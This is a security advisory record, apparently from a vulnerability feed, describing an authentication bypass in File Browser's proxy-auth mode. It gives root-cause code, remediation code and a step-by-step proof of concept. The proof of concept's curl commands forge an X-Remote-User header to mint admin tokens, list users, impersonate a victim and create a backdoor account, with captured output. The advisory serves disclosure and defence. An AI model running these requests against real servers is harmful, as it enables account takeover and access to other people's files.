{"id":"CVE-2026-54089","aliases":["GHSA-xqp3-jq6g-x3qm"],"title":"File Browser: Authentication Bypass via Proxy Auth Header Forgery","summary":"File Browser: Authentication Bypass via Proxy Auth Header Forgery","severity":"critical","cvss":9.1,"cwe":["CWE-287","CWE-290"],"vendor":"filebrowser","product":"github.com/filebrowser/filebrowser/v2","ecosystem":"go","affected":["github.com/filebrowser/filebrowser/v2 >= 2.0.0-rc.1, <= 2.63.18"],"published":"2026-07-10","updated":"2026-07-10","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-xqp3-jq6g-x3qm","references":[{"url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54089"},{"url":"https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"},{"url":"https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"},{"url":"https://github.com/advisories/GHSA-xqp3-jq6g-x3qm"}],"tags":["ghsa","go"],"epss":0.00337,"epssPercentile":0.25781,"ingestedAt":"2026-07-10T20:06:10.812Z","slug":"CVE-2026-54089","body":"## Overview\n\n## Summary\n\nWhen FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.\n\n**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**\n\n## Severity\n\n**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n## Affected Component\n\n- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28\n- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)\n- **Affected versions:** All versions supporting `auth.method=proxy`\n\n## Prerequisite: Proxy Auth Must Be Enabled\n\nThis vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:\n\n- **nginx** + Authelia / Authentik\n- **Traefik** + OAuth2 Proxy\n- **Caddy** + forward_auth\n- **Apache** + mod_auth_ldap\n\nIn these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.\n\n| Deployment Scenario | Exploitable? |\n|---|---|\n| Default install (`auth.method=json`) | **No** — JSON auth uses password verification |\n| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |\n| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |\n\nThe third scenario is common because:\n- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)\n- Administrators expose the port for debugging, monitoring, or health checks\n- Cloud deployments may have misconfigured security groups or load balancers\n- Internal networks often lack strict micro-segmentation\n\nThe core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.\n\n## Root Cause\n\nThe `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code:\n\n### Problem 1: No Origin Validation\n\nThe function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**\n\n```go\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        return a.createUser(usr, setting, srv, username)\n    }\n    return user, err  // <-- returns the user object, no password verification\n}\n```\n\nThere is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.\n\n### Problem 2: No Password Verification\n\nUnlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:\n\n**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**\n\n```go\nfunc loginHandler(tokenExpireTime time.Duration) handleFunc {\n    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        auther, err := d.store.Auth.Get(d.settings.AuthMethod)\n        // ...\n        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)\n        // No additional verification — if auther.Auth() returns a user, a JWT is minted\n        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT\n    }\n}\n```\n\n### Problem 3: Automatic User Creation\n\nIf the username in the header doesn't exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**\n\n```go\nfunc (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {\n    pwd, err := users.RandomPwd(randomPasswordLength)\n    // ...\n    user := &users.User{\n        Username:     username,       // <-- attacker-controlled\n        Password:     hashedRandomPassword,\n        LockPassword: true,\n    }\n    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)\n    // ...\n    err = usr.Save(user)              // <-- persisted to database\n    return user, nil\n}\n```\n\nThis auto-creation has no opt-in flag — it is always active when proxy auth is enabled.\n\n### Complete Attack Flow\n\n```\nAttacker sends:   POST /api/login  +  Header: X-Remote-User: admin\n                                         |\nloginHandler()                           |\n  |-> d.store.Auth.Get(\"proxy\")         |\n  |-> auther.Auth(r, ...)               |\n        |-> ProxyAuth.Auth()             |\n              |-> r.Header.Get(\"X-Remote-User\")  ->  \"admin\"     (attacker-controlled)\n              |-> usr.Get(root, \"admin\")          ->  admin user  (found in DB)\n              |-> return user, nil                ->  no password check\n  |-> printToken(w, r, d, user, ...)    |\n        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})\n        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker\n```\n\n## Proof of Concept\n\nHere is Log testing using Low Privileges Account attacker, get forbidden\nLogin as low priv user then get the auth token `\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"`\n\n```\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"\n403 Forbidden\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\" | python3 -m json.tool\n{\n    \"signup\": false,\n    \"hideLoginButton\": true,\n    \"createUserDir\": false,\n    \"minimumPasswordLength\": 12,\n    \"userHomeBasePath\": \"/users\",\n    \"defaults\": {\n        \"scope\": \".\",\n        \"locale\": \"en\",\n        \"viewMode\": \"mosaic\",\n        \"singleClick\": false,\n        \"redirectAfterCopyMove\": true,\n        \"sorting\": {\n            \"by\": \"\",\n            \"asc\": false\n        },\n        \"perm\": {\n            \"admin\": false,\n            \"execute\": true,\n            \"create\": true,\n            \"rename\": true,\n            \"modify\": true,\n            \"delete\": true,\n            \"share\": true,\n            \"download\": true\n        },\n        \"commands\": [],\n        \"hideDotfiles\": false,\n        \"dateFormat\": false,\n        \"aceEditorTheme\": \"\"\n    },\n    \"authMethod\": \"proxy\",\n    \"rules\": [],\n    \"branding\": {\n        \"name\": \"\",\n        \"disableExternal\": false,\n        \"disableUsedPercentage\": false,\n        \"files\": \"\",\n        \"theme\": \"\",\n        \"color\": \"\"\n    },\n    \"tus\": {\n        \"chunkSize\": 10485760,\n        \"retryCount\": 5\n    },\n    \"shell\": [\n        \"/bin/sh\",\n        \"-c\"\n    ],\n    \"commands\": {\n        \"after_copy\": [],\n        \"after_delete\": [],\n        \"after_rename\": [],\n        \"after_save\": [],\n        \"after_upload\": [],\n        \"before_copy\": [],\n        \"before_delete\": [],\n        \"before_rename\": [],\n        \"before_save\": [],\n        \"before_upload\": []\n    }\n}\nroot@LAPTOP-VUMRCEKO:~#\n```\n<img width=\"1487\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74\" />\n\n\n### Prerequisites\n\n- FileBrowser with proxy auth enabled:\n  ```bash\n  filebrowser config set --auth.method=proxy --auth.header=X-Remote-User\n  ```\n- Server is reachable directly (not exclusively behind the reverse proxy)\n\n### Step 1: Confirm attacker (non-admin) is blocked\n\n```bash\n# Using a legitimate non-admin JWT token:\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: <ATTACKER_JWT_TOKEN>\"\n```\n\n**Result:** `403 Forbidden` — non-admin users cannot access `/api/settings`\n\n### Step 2: Forge admin identity — no credentials needed\n\n```bash\n# Just one header, no password:\nFORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\n\necho \"$FORGED_TOKEN\"\n# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)\n```\n\n**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)\n\n### Step 3: Access admin-only endpoints with forged token\n\n```bash\n# Read full server configuration (admin-only):\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** `200 OK` - complete server settings returned:\n\n```json\n{\n    \"authMethod\": \"proxy\",\n    \"shell\": [\"/bin/sh\", \"-c\"],\n    \"signup\": false,\n    \"defaults\": { \"perm\": { \"admin\": false, \"execute\": true, ... } },\n    ...\n}\n```\n\n### Step 4: Enumerate all user accounts\n\n```bash\ncurl -s http://localhost:8085/api/users \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** All user accounts with full details (usernames, permissions, scopes, commands)\n\n### Step 5: Impersonate any other user\n\n```bash\n# Impersonate \"testuser\" — access their files without knowing their password:\nVICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: testuser\")\n\ncurl -s http://localhost:8085/api/resources/ \\\n  -H \"X-Auth: $VICTIM_TOKEN\"\n```\n\n**Result:** Full file listing of testuser's scope\n\n### Step 6: Auto-create a new user account\n\n```bash\n# This username doesn't exist — server creates it automatically:\nNEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: backdoor_account\")\n```\n\n**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned\n\n## Validated Results\n\nTested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:\n\n| Test | Result |\n|------|--------|\n| Attacker token (non-admin) -> `GET /api/settings` | **`403 Forbidden`** (blocked) |\n| Forged header `X-Remote-User: admin` -> `POST /api/login` | **`200 OK`** — valid admin JWT (608 bytes) |\n| Forged admin token -> `GET /api/settings` | **`200 OK`** — full server config returned |\n| Forged admin token -> `GET /api/users` | **`200 OK`** — all user accounts listed |\n| Forged header `X-Remote-User: testuser` | **`200 OK`** — testuser JWT, files accessible |\n| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** — new user auto-created, JWT returned |\n\n## Impact\n\nAn unauthenticated attacker who can reach the FileBrowser instance directly can:\n\n1. **Full admin takeover** — impersonate the admin user and gain complete control\n2. **Read all server settings** — shell configuration, permissions, branding, rules\n3. **Enumerate and impersonate all users** — access every user's files without credentials\n4. **Create unlimited backdoor accounts** — auto-creation generates persistent accounts\n5. **Modify server configuration** — enable command execution, change shell, alter rules\n6. **Chain with other vulnerabilities** — gain admin access -> enable shell mode -> achieve RCE\n\n**Attack cost:** Zero credentials. One HTTP header.\n\n## Suggested Remediation\n\n### Fix 1: Add trusted proxy IP validation (recommended)\n\n```go\ntype ProxyAuth struct {\n    Header         string   `json:\"header\"`\n    TrustedProxies []string `json:\"trustedProxies\"` // New: list of trusted proxy IPs/CIDRs\n}\n\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    // Verify request originates from a trusted reverse proxy\n    clientIP := realip.FromRequest(r)\n    if !a.isTrustedProxy(clientIP) {\n        return nil, fmt.Errorf(\"proxy auth: request from untrusted source %s\", clientIP)\n    }\n\n    username := r.Header.Get(a.Header)\n    if username == \"\" {\n        return nil, os.ErrPermission\n    }\n\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        if a.AutoCreateUsers {  // Make opt-in\n            return a.createUser(usr, setting, srv, username)\n        }\n        return nil, os.ErrPermission\n    }\n    return user, err\n}\n```\n\n### Fix 2: Make auto-user-creation opt-in\n\nAdd a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.\n\n### Fix 3: Documentation warning\n\nClearly document that when using proxy auth:\n- FileBrowser **MUST NOT** be directly accessible from untrusted networks\n- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it\n- The reverse proxy **MUST** strip/overwrite the configured header from client requests\n\n## References\n\n- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go\n- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137\n- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html\n- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html\n- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html\n\n## Affected packages\n\n- `github.com/filebrowser/filebrowser/v2 >= 2.0.0-rc.1, <= 2.63.18`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"midnight","depthScore":50,"depthScoreParts":{"impact":50.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}